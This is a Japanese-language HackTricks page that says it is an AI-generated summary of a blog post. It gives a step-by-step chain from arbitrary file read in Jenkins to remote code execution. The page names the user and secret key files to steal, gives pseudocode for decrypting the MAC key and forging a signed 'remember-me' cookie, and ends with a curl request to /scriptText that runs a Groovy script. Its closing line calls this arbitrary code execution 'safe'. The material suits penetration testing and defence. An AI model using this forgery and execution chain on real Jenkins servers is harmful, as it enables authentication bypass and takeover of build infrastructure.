# Jenkins Arbitrary File Read to RCE via "Remember Me"

{{#include ../../banners/hacktricks-training.md}}

このブログ投稿では、Jenkinsのローカルファイルインクルージョン脆弱性をRCEに変換する素晴らしい方法を見つけることができます: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)

これは、任意のクッキーを作成することがRCEを取得するために悪用される投稿の部分のAIによって作成された要約です。自分自身の要約を作成する時間ができるまでの間です。

### Attack Prerequisites

- **Feature Requirement:** "Remember me"が有効である必要があります（デフォルト設定）。
- **Access Levels:** 攻撃者はOverall/Read権限が必要です。
- **Secret Access:** 重要なファイルからバイナリおよびテキストコンテンツを読み取る能力。

### Detailed Exploitation Process

#### Step 1: Data Collection

**User Information Retrieval**

- 各ユーザーのために`$JENKINS_HOME/users/*.xml`からユーザー設定と秘密を取得します:
- **Username**
- **User seed**
- **Timestamp**
- **Password hash**

**Secret Key Extraction**

- クッキーの署名に使用される暗号鍵を抽出します:
- **Secret Key:** `$JENKINS_HOME/secret.key`
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`

#### Step 2: Cookie Forging

**Token Preparation**

- **トークンの有効期限を計算:**

```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // 現在の時間に1時間を追加
```

- **トークンのためのデータを連結:**

```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```

**MAC Key Decryption**

- **MACキーのファイルを復号化:**

```javascript
key = toAes128Key(masterKey)  // マスターキーをAES128キー形式に変換
decrypted = AES.decrypt(macFile, key)  // .macファイルを復号化
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```

**Signature Computation**

- **HMAC SHA256を計算:**

```javascript
mac = HmacSHA256(token, macKey) // トークンとMACキーを使用してHMACを計算
tokenSignature = bytesToHexString(mac) // MACを16進数文字列に変換
```

**Cookie Encoding**

- **最終的なクッキーを生成:**

```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // クッキーのデータをBase64エンコード
```

#### Step 3: Code Execution

**Session Authentication**

- **CSRFおよびセッショントークンを取得:**
- `/crumbIssuer/api/json`にリクエストを送信して`Jenkins-Crumb`を取得します。
- 応答から`JSESSIONID`をキャプチャし、remember-meクッキーと一緒に使用します。

**Command Execution Request**

- **Groovyスクリプトを使用してPOSTリクエストを送信:**

```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```

- Groovyスクリプトは、システムレベルのコマンドやJenkins環境内の他の操作を実行するために使用できます。

提供されたcurlコマンドの例は、必要なヘッダーとクッキーを使用してJenkinsにリクエストを送信し、任意のコードを安全に実行する方法を示しています。

{{#include ../../banners/hacktricks-training.md}}
